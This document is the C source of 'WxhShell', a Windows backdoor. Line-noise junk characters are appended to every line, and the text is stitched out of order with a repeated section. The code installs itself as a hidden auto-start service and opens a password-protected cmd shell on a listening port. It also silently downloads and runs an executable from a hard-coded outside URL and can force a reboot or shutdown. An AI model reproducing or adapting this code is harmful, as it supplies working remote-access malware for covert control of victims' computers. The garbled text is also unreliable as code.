    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BL[N  
    if(Boot(SHUTDOWN)) w Sd|-e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kVe4#LT  
    else { YM r2|VEU[  
    closesocket(wsh);  ,7h0y  
    ExitThread(0); "zZ Z h  
    } ? dh  
    break; ;k |U2ajFJ  
    } D8 BmC  
  // 获取shell {3`cSm6c  
  case 's': { ^g SZzJ5  
    CmdShell(wsh);  $+  
    closesocket(wsh); i9koh3R\  
    ExitThread(0); 'B\7P*L"p  
    break; f Hd|tl  
  } VS jt|F)t  
  // 退出 (|9t+KP  
  case 'x': { {|{;:_.>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'zhv#&O  
    CloseIt(wsh); l9t|@9  
    break; v|Y ut~  
    } nghpWODq  
  // 离开 v2l*n  
  case 'q': { cw3j&k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W7#dc89}  
    closesocket(wsh); 8vqx}2  
    WSACleanup(); vdIert?p  
    exit(1); ? FlQ\q  
    break; |}><)}  
        } NH'Dz6K5  
  } !rsGCw!Pg  
  } ?>s[B7wMp  
SceK$  
  // 提示信息 l0w<NZ F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^_gH}~l+U  
} hN^,'O  
  } .]w=+~h  
[9^lAhX  
  return; ("KtJ  
} Bwl@Muw  
6UKZ0~R  
// shell模块句柄 Jo''yrJpB  
int CmdShell(SOCKET sock) Ji4JP0  
{ 8I[=iU7]l  
STARTUPINFO si; Ef$a&*)PH  
ZeroMemory(&si,sizeof(si)); FD al;T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M;LR$'cP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @1N .;]|  
PROCESS_INFORMATION ProcessInfo; t>! Ok  
char cmdline[]="cmd"; 46##(4RF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tj4/x7!  
  return 0; |=js!R|  
} &u2H^ j  
C2{*m{ D  
// 自身启动模式 T5Iz{Ha  
int StartFromService(void) p1UYkmx[  
{ UvR.?js(O  
typedef struct sBk|KG  
{ 7 !dj&?  
  DWORD ExitStatus; m6uFmU*<M}  
  DWORD PebBaseAddress; *#9?9SYSk  
  DWORD AffinityMask; !bs5w_@  
  DWORD BasePriority; #&X5Di[A  
  ULONG UniqueProcessId; h~lps?.#b  
  ULONG InheritedFromUniqueProcessId; ot0g@q[3  
}   PROCESS_BASIC_INFORMATION; 5PsjGvm.%  
Ya4yW9*  
PROCNTQSIP NtQueryInformationProcess; #mYe@[p@  
UD=[::##  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \%&):OD1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D"gv:RojD  
C8W_f( i~  
  HANDLE             hProcess; xXlx}C  
  PROCESS_BASIC_INFORMATION pbi; `S+n,,l  
iJH?Z,Tjf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (mplo|>  
  if(NULL == hInst ) return 0; ~O~iP8T  
E W`3$J;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); } m"':f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .k$Yleg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6l:uQz9  
~ mzX1[  
  if (!NtQueryInformationProcess) return 0; =h xyR;  
#jJ0Mxg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZUD{V  
  if(!hProcess) return 0; P?^%i  
*j( UAVp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b;FaTm@  
6"?#E[ #[  
  CloseHandle(hProcess); !jf!\Uu[U  
ep4?;Qmho  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W[R`],x`  
if(hProcess==NULL) return 0; WcQkeh3n  
Po&'#TC1  
HMODULE hMod; # [ +n(  
char procName[255]; #&ei  
unsigned long cbNeeded; +IMt$}7[  
, `PYU[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $4*gi&  
P_5G'[  
  CloseHandle(hProcess); Cn0s?3Fm  
HQwrb HS  
if(strstr(procName,"services")) return 1; // 以服务启动 `n@;%*6/  
hXvC>ie(i  
  return 0; // 注册表启动 ;66{S'*[  
} 3-oKY*jO  
[)?9|yY"`  
// 主模块 e,Z[Nox  
int StartWxhshell(LPSTR lpCmdLine) zJ$U5r/u  
{ <,Pl31g^  
  SOCKET wsl; l[i1,4  
BOOL val=TRUE; [+8*}03  
  int port=0; el\xMe^SY  
  struct sockaddr_in door; ]TJ258P}  
1;PI%++  
  if(wscfg.ws_autoins) Install(); 'y5H%I!  
-?l`LbD  
port=atoi(lpCmdLine); Q~/=p>=uu  
q6b&b^r+H  
if(port<=0) port=wscfg.ws_port; 8 &v)Vi-  
bN6i*) }  
  WSADATA data; )?I*zc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P,b&F  
.4l cES~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;VEKrVD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EG|_YW7  
  door.sin_family = AF_INET; Yg}b%u,Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o^'QGs "  
  door.sin_port = htons(port); ;.<HpDfG_  
ZmycK:f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jz*A!Li  
closesocket(wsl); |Qb@.  
return 1; xj9xUun  
} *K& $9fah  
F(ZczwvR  
  if(listen(wsl,2) == INVALID_SOCKET) { dWu;F^  
closesocket(wsl); Lxv6\3I+  
return 1; {;m|\652B  
} q: X^V$`  
  Wxhshell(wsl); 3[m2F O,Z  
  WSACleanup(); =GW[UnO  
m=Gb<)Y  
return 0; ;Wa&Dg/5`  
|lk:(~DM  
} x <OVtAUB  
^w&!}f+  
// 以NT服务方式启动 X4!Jj *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gyPwNE  
{ fW[RCd  
DWORD   status = 0; o\PHs4Ws'7  
  DWORD   specificError = 0xfffffff; o q6^  
4)>S3Yr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xJnN95`R@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;.rY`<|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JStEOQF4  
  serviceStatus.dwWin32ExitCode     = 0; ^.  
  serviceStatus.dwServiceSpecificExitCode = 0; CJDNS21m  
  serviceStatus.dwCheckPoint       = 0; HIt9W]koO  
  serviceStatus.dwWaitHint       = 0; o9yUJ@ :i  
~w9`l8/0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LPZ\T} <l  
  if (hServiceStatusHandle==0) return; =6f)sZpPh  
6__HqBQ  
status = GetLastError(); ^t*Ba>A  
  if (status!=NO_ERROR) /{/mwS"W  
{ !N_eZPU.v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; US"UkY-\  
    serviceStatus.dwCheckPoint       = 0; BjfTt:kY  
    serviceStatus.dwWaitHint       = 0; |7Ab_  
    serviceStatus.dwWin32ExitCode     = status; 9]lyV  
    serviceStatus.dwServiceSpecificExitCode = specificError; )D)4=LJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {t.S_|IE  
    return; (uy\~Zb  
  } &Nw|(z&$  
_ b</ ::Tp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XX "3.zW  
  serviceStatus.dwCheckPoint       = 0; Sqyju3Yp  
  serviceStatus.dwWaitHint       = 0; Eau V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +?[s"(  
} )>^Ge9d]  
]"htOO  
// 处理NT服务事件,比如:启动、停止 ?A24h !7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F\ GNLi  
{ -N6ek`  
switch(fdwControl) :XoR~syT  
{ d0f(Uk  
case SERVICE_CONTROL_STOP: L@_o*"&j  
  serviceStatus.dwWin32ExitCode = 0; GXNkl?#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y^U^yh_!^  
  serviceStatus.dwCheckPoint   = 0; |5&7;;$  
  serviceStatus.dwWaitHint     = 0; tfh`gUV 4  
  { 8rFP*K9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  c,M"a  
  } #?eMEws  
  return; -v|lM8  
case SERVICE_CONTROL_PAUSE: J83C]2~7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rW_cLdh]#  
  break; %$Xt1ub6(  
case SERVICE_CONTROL_CONTINUE: M'oZK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \3%3=:  
  break; V$oj6i{ky  
case SERVICE_CONTROL_INTERROGATE: Ul'H(eH.v  
  break; 1mR@Bh  
}; I)0_0JXs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L/%{,7l<^?  
} -^;,m=4{3  
]scr@e  
// 标准应用程序主函数 O*B9 Bah  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I3izLi  
{ +"JWsD(C(  
:f7vGO"t  
// 获取操作系统版本 iP:^nt?  
OsIsNt=GetOsVer(); :_nGh]%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~"4Cz27  
%M`zkA2]J  
  // 从命令行安装 Asq&Z$bB_  
  if(strpbrk(lpCmdLine,"iI")) Install(); -/*VR$c  
.|TF /b]  
  // 下载执行文件 ZP&iy$<L  
if(wscfg.ws_downexe) { =NnG[#n%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sJl>evw  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z:V<P,N  
} |z&7KoYK'  
ER@RWV 2  
if(!OsIsNt) { *P5/S8c  
// 如果时win9x,隐藏进程并且设置为注册表启动 {a9.0N:4  
HideProc(); >Rb jdM5K4  
StartWxhshell(lpCmdLine); 0dI7{o;<|  
} ,OP\^  
else "?W8 o[c+  
  if(StartFromService()) !x||ObW\H  
  // 以服务方式启动 )nK+`{;@!  
  StartServiceCtrlDispatcher(DispatchTable); 1=!2|D:C)i  
else 9>vB,8  
  // 普通方式启动 &Fjyi"8(r  
  StartWxhshell(lpCmdLine); : t75iB=  
aD6!x3c/  
return 0; 7 n^1H[q  
} cS@p`A7Tpo  
-Ekf T_  
i=pfjC  
</SO#g^r<  
=========================================== kE!ky\E  
+%~me?  
sEZ2DnDI  
|?MD>Pez  
#SjCKQ~  
De>,i%`Q,D  
" -lq`EB +  
0m\( @2E  
#include <stdio.h> HzuG- V  
#include <string.h> m`Z.xIA7;  
#include <windows.h> ycvgF6Me<  
#include <winsock2.h> :b_hF  
#include <winsvc.h> pL>Yx>  
#include <urlmon.h> z8)&ekG  
8= 82x  
#pragma comment (lib, "Ws2_32.lib") =*>.z@WQ  
#pragma comment (lib, "urlmon.lib") eu$"GbqY  
+Mn(s36f2  
#define MAX_USER   100 // 最大客户端连接数 D`.\c#;cN  
#define BUF_SOCK   200 // sock buffer qw)Ou]L=  
#define KEY_BUFF   255 // 输入 buffer $"}*#<Z  
>%n6n! "  
#define REBOOT     0   // 重启 n* .<L  
#define SHUTDOWN   1   // 关机 /5 OQ0{8p  
YdB/s1|G  
#define DEF_PORT   5000 // 监听端口 YG*}F|1  
|S]fs9  
#define REG_LEN     16   // 注册表键长度 73{<;z}i  
#define SVC_LEN     80   // NT服务名长度 b.}J'?yLm  
Eq=JmO'gHs  
// 从dll定义API -$@'@U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hQNUA|Q=%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h7m$P^=U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &Wk:>9]Jrb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kKDf%=  
o4LVG  
// wxhshell配置信息 04}c_XFFE  
struct WSCFG { Y;dqrA>@  
  int ws_port;         // 监听端口 ]~ S zb  
  char ws_passstr[REG_LEN]; // 口令 nf:wJ-;*  
  int ws_autoins;       // 安装标记, 1=yes 0=no rg]z  
  char ws_regname[REG_LEN]; // 注册表键名 !.4q{YWcYk  
  char ws_svcname[REG_LEN]; // 服务名 J@IKXhb7_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *xKy^f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R+/kx#^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V{\1qg{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T$;BZ=_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M~Er6Zg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i~5'bSq c  
ld5+/"$  
}; 60D6UW  
&b-&0 rTqz  
// default Wxhshell configuration !2/o]_K@+  
struct WSCFG wscfg={DEF_PORT, XG5T`>Yl  
    "xuhuanlingzhe", kn`O3cW/  
    1, %/_E8GE  
    "Wxhshell", Kv#Q$$)r  
    "Wxhshell", `nc=@" 1  
            "WxhShell Service", fN9uSnu  
    "Wrsky Windows CmdShell Service", TIF  =fQ  
    "Please Input Your Password: ", Wi~?2-!  
  1, }b{7+ + Ah  
  "http://www.wrsky.com/wxhshell.exe", +]~}kvk:  
  "Wxhshell.exe" n S Vr,wU  
    }; 4ZYywDwn  
64^3ve3/a=  
// 消息定义模块 3b`#)y^y?%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i@%a!].I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6!=q+sw/X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zl.,pcL  
char *msg_ws_ext="\n\rExit."; >yLdrf  
char *msg_ws_end="\n\rQuit."; y~VLa  
char *msg_ws_boot="\n\rReboot..."; Le,;)Nd  
char *msg_ws_poff="\n\rShutdown..."; `+0P0(bn  
char *msg_ws_down="\n\rSave to "; 9pk-#/ag  
s>{\^T7y  
char *msg_ws_err="\n\rErr!"; Oz "_KMz  
char *msg_ws_ok="\n\rOK!"; R[QBFL<  
)L_@l5l  
char ExeFile[MAX_PATH]; /U6ry'  
int nUser = 0; tvUCd}  
HANDLE handles[MAX_USER]; vJX0c\e  
int OsIsNt; e YiqTWn:  
Ypinbej  
SERVICE_STATUS       serviceStatus; $wl_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )t2eg1a:  
c;n\HYk  
// 函数声明 Lg-!,Y   
int Install(void); Q*e\I8R}  
int Uninstall(void); ajf(Ii\/  
int DownloadFile(char *sURL, SOCKET wsh); Pv*]AF;9pQ  
int Boot(int flag); z 1.vnGP  
void HideProc(void); :1v.Jk  
int GetOsVer(void); /38XaKc{6  
int Wxhshell(SOCKET wsl); y3P4]sq  
void TalkWithClient(void *cs); P\@efq@!  
int CmdShell(SOCKET sock); `<hMrhfh  
int StartFromService(void); FyChH7  
int StartWxhshell(LPSTR lpCmdLine);  7b8y  
/U0,%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FvD/z ;N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~h3~<p#M`  
E[FE-{B#  
// 数据结构和表定义 KvO5-g  
SERVICE_TABLE_ENTRY DispatchTable[] = @z=L\ e{  
{ f$--y|=  
{wscfg.ws_svcname, NTServiceMain}, :edy(vC<  
{NULL, NULL} \9}DAM_  
}; B!4~A{  
L}K8cB  
// 自我安装 sdN1BV2  
int Install(void) AH:0h X6+  
{ ,=: -&~?  
  char svExeFile[MAX_PATH]; HY(XI u  
  HKEY key; eEYz A  
  strcpy(svExeFile,ExeFile); Fnd_\`9{  
vLGnLpt  
// 如果是win9x系统,修改注册表设为自启动 z]&?}o  
if(!OsIsNt) { g#G ]}8C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ezS@`_pR;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N).'>  
  RegCloseKey(key); J"XZnb)E=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RxVZn""  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u7},+E)+B  
  RegCloseKey(key); E=]|v+#~  
  return 0; ss`Sl$  
    } vb9C&#  
  } B'bOK`p  
} '*<I<? z;  
else { _s}`ohKvD  
.d?LRf  
// 如果是NT以上系统,安装为系统服务 Y<_;8%S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zu 7Fq]zD  
if (schSCManager!=0) k[y^7, r  
{ !&5*H06  
  SC_HANDLE schService = CreateService | 3`8$-  
  ( T`GiM%R;g  
  schSCManager, 1-|aeJ  
  wscfg.ws_svcname, mri g5{  
  wscfg.ws_svcdisp, Mt@Ma ]!  
  SERVICE_ALL_ACCESS, WYIv&h<h"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N686~  
  SERVICE_AUTO_START, I ^[[*Bh*C  
  SERVICE_ERROR_NORMAL, K87yQOjPv  
  svExeFile, bL5u;iy)  
  NULL, ?. Ip(g  
  NULL, %l!- rXp  
  NULL, o4agaA3k  
  NULL, \mWH8Z }Z  
  NULL ]Qe"S>,?`  
  ); }]=@Y/p  
  if (schService!=0) Lb{.}  
  { *&hbfsP:  
  CloseServiceHandle(schService); NPDMv |4  
  CloseServiceHandle(schSCManager); TIK'A<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RYdI$&]  
  strcat(svExeFile,wscfg.ws_svcname); AHHV\r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'X`W+=T$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,hm&]  
  RegCloseKey(key); as@? Kv  
  return 0; B&<P>AZ  
    } i1*0'x  
  } ~ e a K]|  
  CloseServiceHandle(schSCManager); ~.tYYX<  
} $#(j2sL1  
} o'8nQ Tao  
.hnq>R\  
return 1; Pc<0kQg  
} 45OAJ?N  
T`9nY!  
// 自我卸载 p1W6s0L  
int Uninstall(void) )KGz -!1c  
{ 1MmEP  
  HKEY key; Qj$w7*U  
0E)M6 jJ  
if(!OsIsNt) { nj1PR`AE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3eB)X2~   
  RegDeleteValue(key,wscfg.ws_regname); ?]o(cz  
  RegCloseKey(key); L\V`ou  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - FJLM  
  RegDeleteValue(key,wscfg.ws_regname); 9SJSUv:@  
  RegCloseKey(key); rK|("  
  return 0; /!qP=ngw9  
  } 3[8p,wx  
} C~C`K%7  
} X,{[R |  
else { e3?z^AUXm  
wuM'M<J@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RE4WD9n  
if (schSCManager!=0) Ty#sY'%  
{ WdB\n/BWB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xz9[0;Q  
  if (schService!=0) >?6HUUQ  
  { JpxQS~VX  
  if(DeleteService(schService)!=0) { GRaU]Z]ck  
  CloseServiceHandle(schService); g's!\kr  
  CloseServiceHandle(schSCManager); ~Yc!~Rz  
  return 0; D4uAwmc  
  } ?% A 2  
  CloseServiceHandle(schService); [B+:)i  
  } c2?VjuB0  
  CloseServiceHandle(schSCManager); y~su1wUp  
} 9ExI,  
} \L`x![$~q  
>0uj\5h)I]  
return 1; `6;$Z)=.  
} ]2 $T 6  
X4Pm&ol  
// 从指定url下载文件 a6O <t;&  
int DownloadFile(char *sURL, SOCKET wsh) *adznd  
{ `r-3"or/$  
  HRESULT hr; $cU7)vmK`  
char seps[]= "/"; B2|0.G|[j  
char *token; DIJmISk  
char *file; IAmZ_2  
char myURL[MAX_PATH]; B< HN$/  
char myFILE[MAX_PATH]; L&~'SC  
upX@8WxR  
strcpy(myURL,sURL); c((bUjS'=Y  
  token=strtok(myURL,seps); lJdYR'/Wd  
  while(token!=NULL) j; R20xf0  
  { ^@{"a  
    file=token; *u",-n  
  token=strtok(NULL,seps); c?REDj2  
  } uGm?e]7Hx<  
=;E0PB_w  
GetCurrentDirectory(MAX_PATH,myFILE); [;4;. V  
strcat(myFILE, "\\"); X$6QQnyR  
strcat(myFILE, file); [J(b"c6  
  send(wsh,myFILE,strlen(myFILE),0); 6 jm@`pYbE  
send(wsh,"...",3,0); pLys%1hg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /J&ks>St  
  if(hr==S_OK) *N }$~N  
return 0; Nh}u]<B  
else V!>j: "  
return 1; |lZp5MOc  
~sPXkLqK  
} 1[$zdv{A  
W0Y ,3;0  
// 系统电源模块 5jUy[w @  
int Boot(int flag) D$*o}*mb  
{ w7&.U qjf  
  HANDLE hToken; WglpWp)  
  TOKEN_PRIVILEGES tkp; &%;n 9K  
o*ucw3s>  
  if(OsIsNt) { 4nQ5zwiV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e9tb]sAG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1 ltW9^cF}  
    tkp.PrivilegeCount = 1; p>#q* eU5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hUuKkUR+Ir  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }`%ks  
if(flag==REBOOT) { 57 Bx-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K=nDC.  
  return 0; fOME&$=O  
} YbnXAi\y|  
else { Px Gw5:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9+xO2n  
  return 0; <;O^3_'  
} (DS"*4ty  
  } SbzJeaZv  
  else { o4J@M{xb_  
if(flag==REBOOT) { nc\2A>f`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0:<Y@#L  
  return 0; +."cbqGP_q  
} k_ywwkG9lU  
else { <VutwtA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s{8=Q0^  
  return 0; ZoSyc--Bv  
} :FfEjNil  
} f}p`<z   
&/ED.K  
return 1; /f Q}Ls\  
} &q9=0So4\  
^y KkWB*  
// win9x进程隐藏模块 Bz kfB:wr  
void HideProc(void) F|qMo|  
{ DV[FZ  
`9+R]C]z8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u@`a~  
  if ( hKernel != NULL ) G%;>_E  
  { '3Q~y"C+4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pe2:~}WB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w6)Q5H53)  
    FreeLibrary(hKernel); f1+  
  } VB#&`]r do  
R! On  
return; Lo#G. s|  
} c@"FV,L>  
4,Oa(b  
// 获取操作系统版本 _DT,iF*6  
int GetOsVer(void) dJQK|/  
{ W5= j&&|!  
  OSVERSIONINFO winfo; EhM=wfGKw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .{*l,  
  GetVersionEx(&winfo); M \  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -!\%##r7~  
  return 1; P=KhR&gwV~  
  else ,aGIq. *v  
  return 0; *78c2`)[  
} m- ibS:  
UZrEFpi  
// 客户端句柄模块 Ry"4v_e9  
int Wxhshell(SOCKET wsl) #+V4<o  
{ cL ~WDW/  
  SOCKET wsh; -,T!/E  
  struct sockaddr_in client; V,0$mBYa  
  DWORD myID; dcD#!v\0  
& rD8ng+$  
  while(nUser<MAX_USER) D4|Ajeo;1  
{ /4 OmnE;  
  int nSize=sizeof(client); "~._G5i.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9_iwikD  
  if(wsh==INVALID_SOCKET) return 1; wWfj#IB;R  
vmrs(k "d#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {*TB }Xsr,  
if(handles[nUser]==0) -m=A1~|7  
  closesocket(wsh); yiI oqvP  
else 9d-'%Q>+  
  nUser++; DuR9L'  
  } ?[m1?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |N% l at  
k{{3nenAG  
  return 0; KV|D]}  
} oy5K* }  
Skg/iH"(  
// 关闭 socket zow8 Q6f  
void CloseIt(SOCKET wsh) V| kN 1 A  
{ &]RE 5!  
closesocket(wsh); ")\V  
nUser--; X' 5R4j  
ExitThread(0); IF5-@hag,  
} UH}lKc=t  
'N+;{8C-{  
// 客户端请求句柄 W&R67ff|  
void TalkWithClient(void *cs) @4 8!e-W  
{ +$nNYD  
\G>C{v;  
  SOCKET wsh=(SOCKET)cs; 5[jS(1a`c  
  char pwd[SVC_LEN]; 5X+`aB  
  char cmd[KEY_BUFF]; }F!Uu KR  
char chr[1]; 2w8cJadT'p  
int i,j; ej&.tNvq  
,52 IR[I<T  
  while (nUser < MAX_USER) { [f6BA|   
}u3|w0~c)  
if(wscfg.ws_passstr) { Nc{&AV8Y_v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fxoEK}TM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0E!-G= v  
  //ZeroMemory(pwd,KEY_BUFF); `'<$N<!  
      i=0; {}ADsh@7d'  
  while(i<SVC_LEN) { WQ[n K5#  
'@hUmrl  
  // 设置超时 `4'=&c9  
  fd_set FdRead; R2a99#J  
  struct timeval TimeOut; iz^uj  
  FD_ZERO(&FdRead); -V}xvSVg  
  FD_SET(wsh,&FdRead); wn!=G~nB  
  TimeOut.tv_sec=8; E z}1Xse  
  TimeOut.tv_usec=0; f7\X3v2W}3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O!f37n-TB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +~iiy;i(  
%sOY:>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RH<2f5-sC!  
  pwd=chr[0]; M.}J SDt  
  if(chr[0]==0xd || chr[0]==0xa) { kBcTXl  
  pwd=0; rDbtT*vN  
  break; JG'%HJ"D  
  } i]? Eq?k  
  i++; d]O:VghY\  
    } v+in:\Dv  
gMF6f%  
  // 如果是非法用户,关闭 socket 7:pc%Ksq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (1^;l;7H  
} 6Yodx$  
ud5}jyJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3lZl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SF+L-R<e  
nCWoco.xy  
while(1) { gFHBIN;u  
2p](`Y`  
  ZeroMemory(cmd,KEY_BUFF); S%}G 8Ty  
v"ORn5  
      // 自动支持客户端 telnet标准   T5zS3O  
  j=0; K=JDl-#!  
  while(j<KEY_BUFF) { Q;y5E`G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .-M5.1mo\(  
  cmd[j]=chr[0]; xcWR#z{z  
  if(chr[0]==0xa || chr[0]==0xd) { lqmQQ*Z  
  cmd[j]=0; e( @< /W  
  break; >\<eR]12  
  } Y` ]P&y  
  j++; s)]T"87H'_  
    } ZJZSt% r  
x cAs}y}  
  // 下载文件 `b8nz 7  
  if(strstr(cmd,"http://")) { W g7 eY'FE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p:y\{k"  
  if(DownloadFile(cmd,wsh)) =O0A(ca"g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vlz\n  
  else Lg!E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3\j`g  
  } YFJaf"?8g  
  else { g_c@Kyf  
77[TqRLf  
    switch(cmd[0]) { ;k`51=Wi  
  !;*flr`/  
  // 帮助  mih}?oi  
  case '?': { I1':&l^O  
